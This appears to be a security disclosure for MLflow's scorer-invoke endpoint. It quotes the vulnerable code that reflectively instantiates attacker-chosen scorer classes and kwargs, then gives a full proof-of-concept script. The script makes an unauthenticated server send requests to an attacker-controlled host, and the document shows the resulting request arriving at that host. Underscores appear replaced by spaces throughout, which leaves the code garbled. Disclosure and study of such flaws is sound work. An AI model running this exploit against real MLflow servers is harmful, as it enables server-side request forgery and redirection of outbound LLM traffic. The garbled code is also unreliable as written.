data = serialized.third party scorer data     # attacker JSON
module path = data.get("module") or ""
class name = data.get("class")
if not any(module path == m or module path.startswith(m + ".")
      for m in THIRD PARTY SCORER ALLOWED MODULES):
  raise MlflowException.invalid parameter value(...)
module = importlib.import module(module path)
scorer class = getattr(module, class name, None)  # attribute NOT constrained
...
init kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init kwargs["model"] = data["model"]        # attacker model URI
scorer instance = scorer class(**init kwargs)   # reflective instantiation

THIRD PARTY SCORER ALLOWED MODULES = frozenset({
  "mlflow.genai.scorers.ragas",
  "mlflow.genai.scorers.deepeval",
  "mlflow.genai.scorers.trulens",
  "mlflow.genai.scorers.phoenix",
})

backend = ScorerLLMClient(model uri)
if backend.route == "databricks":
  return create databricks provider(backend, **kwargs)
if backend.is native:
  return create gateway provider(backend, **kwargs)
try:
  from trulens.providers.litellm import LiteLLM
  litellm model = backend.model name
  ...
  return LiteLLM(model engine=litellm model, **kwargs)  # raw attacker kwargs forwarded

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"      # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"  # host the attacker controls and monitors

client = MlflowClient(tracking uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace id.
exp id = client.create experiment("poc")
mlflow.set tracking uri(TARGET)
mlflow.set experiment(experiment id=exp id)
with mlflow.start span(name="poc-span") as span:
  span.set inputs({"q": "hi"})
  span.set outputs({"a": "hi"})
trace id = span.request id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#  outbound LLM client at the attacker host with an attacker-chosen
#  Authorization value (their own canary, not a server secret).
serialized scorer = {
  "name": "poc",
  "third party scorer data": {
    "module": "mlflow.genai.scorers.trulens",
    "class": "Coherence",
    "metric name": "Coherence",
    "model": "openai:/gpt-4o",     # routes to the litellm fallback
    "kwargs": {
      "api base": ATTACKER,
      "api key": "ATTACKER-CANARY",  # attacker's own value, not a server secret
    },
  },
}
resp = requests.post(
  f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
  json={
    "experiment id": exp id,
    "serialized scorer":  import ("json").dumps(serialized scorer),
    "trace ids": [trace id],
  },
)
print(resp.status code, resp.text)
time.sleep(5) # scorer job runs asynchronously

# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...